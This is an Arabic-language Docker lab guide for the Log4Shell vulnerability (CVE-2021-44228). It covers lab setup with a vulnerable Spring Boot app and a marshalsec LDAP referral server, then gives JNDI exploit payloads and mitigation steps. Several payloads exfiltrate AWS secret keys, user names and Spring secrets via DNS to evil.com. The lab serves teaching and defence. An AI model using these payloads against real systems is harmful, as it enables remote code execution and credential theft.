مختبر Docker لثغرة Log4Shell (CVE-2021-44228)

المكونات

يستخدم هذا المختبر ثلاثة مكونات، وهي:

• تطبيق spring-boot الضعيف
• خادم HTTP يستضيف ملفات .class المستخدمة لتنفيذ الأكواد عن بُعد
• خادم إحالة LDAP يعيد توجيه استعلامات LDAP محددة إلى خادم HTTP

إعداد مختبر Docker

1. شبكة Docker

docker network create log4shell

2. بناء صور Docker

$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec

3. تشغيل الحاويات

ملاحظة مهمة: إذا كنت تستخدم Windows PowerShell، استبدل $(pwd) بـ ${pwd}.

$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"

الاستغلال

افتح التطبيق الضعيف، وأدخل بعض بيانات الاعتماد الخاطئة للاختبار، وافتح سجلات حاوية log4shell-vulnapp. يمكن ملاحظة أن التطبيق يسجل محاولات تسجيل الدخول الفاشلة (على سبيل المثال، محاولة تسجيل دخول غير صحيحة لاسم المستخدم 'test'). من هذه التجربة الصغيرة، يتضح أن لدينا تحكمًا في جزء من السلسلة المسجلة (أي اسم المستخدم).

يمكننا تمرير حمولة مثل التالية لتنفيذ الأكواد عن بُعد:

${jndi:ldap://<HostIp>:1389/<RCEObjectName>}

يمكن تنفيذ الأكواد عن بُعد في أي إصدار من جافا؛ ولكن، الأجهزة التي تحتوي على إصدارات جافا أقدم من القائمة التالية [1]:

• 6u211
• 7u201
• 8u191
• 11.0.1

يرجع ذلك إلى أن الإصدارات الأحدث تضبط خاصية النظام com.sun.jndi.ldap.object.trustURLCodebase على false افتراضيًا، مما يعطل تحميل JNDI للفئات من قواعد عناوين URL عشوائية. ومع ذلك، فإن الاعتماد فقط على إصدار جديد من جافا كحماية من هذه الثغرة هو أمر محفوف بالمخاطر، حيث لا يزال من الممكن استغلال الثغرة على الأجهزة التي تحتوي على فئات "gadget" معينة في مسار الفئة الخاص بالتطبيق الضعيف، ويمكن استخدام استعلامات DNS للحصول على معلومات مثل متغيرات البيئة.

هناك العديد من بدائل البحث التي تكشف عن معلومات حساسة من الجهاز الضحية. وأبرزها، استخدام حمولة مشابهة لـ [2, 3]:

${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}

ملاحظة: يتطلب سلسلة هجوم spring lookup تضمين log4j-spring-cloud-config-client في التطبيق. [2]

التخفيف

أفضل طريقة للتخفيف من هذه الثغرة الخطيرة هي ترقية log4j2 إلى إصدار >= 2.17.0. ومع ذلك، من الممكن التخفيف من المشكلة تمامًا دون الترقية باستخدام طريقتين مختلفتين. يوصى بشدة للبائعين الذين لا يستطيعون الترقية إلى إصدار أحدث من Log4j2 باستخدام كلتا الطريقتين التخفيفيتين المحددتين أدناه [1].

الطريقة 1: لـ log4j 2.10.0 أو أحدث - تعطيل عمليات البحث

يمكن تعطيل عمليات البحث (على مستوى شامل) عن طريق تعيين متغير البيئة LOG4J_FORMAT_MSG_NO_LOOKUPS إلى true عن طريق تحرير ملف /etc/environment وإضافة: LOG4J_FORMAT_MSG_NO_LOOKUPS=true [1]

بدلاً من ذلك، يمكن تعطيل عمليات البحث لاستدعاء معين لـ JVM عن طريق إضافة علامة سطر الأوامر التالية عند تشغيل تطبيق جافا الضعيف: ‐Dlog4j2.formatMsgNoLookups=True [1]

الطريقة 2: لـ log4j أقدم من 2.10.0 - إزالة الفئة الضعيفة

عند استخدام إصدار log4j أقدم من 2.10.0، يمكن إزالة فئة JndiLookup من أي تطبيقات جافا.

المراجع

[1] Menashe, S., (2021). كل ما يتعلق بثغرة Log4Shell ذات اليوم الصفري - CVE-2021-44228. [online] JFrog. متاح على: https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [تم الوصول في 24 ديسمبر 2021].

[2] Goers, R., (2021). Log4j – عمليات بحث Log4j 2. [online] logging.apache.org. متاح على: https://logging.apache.org/log4j/2.x/manual/lookups.html [تم الوصول في 24 ديسمبر 2021].

[3] Oracle. (2021). خصائص النظام. [online] متاح على: https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [تم الوصول في 24 ديسمبر 2021].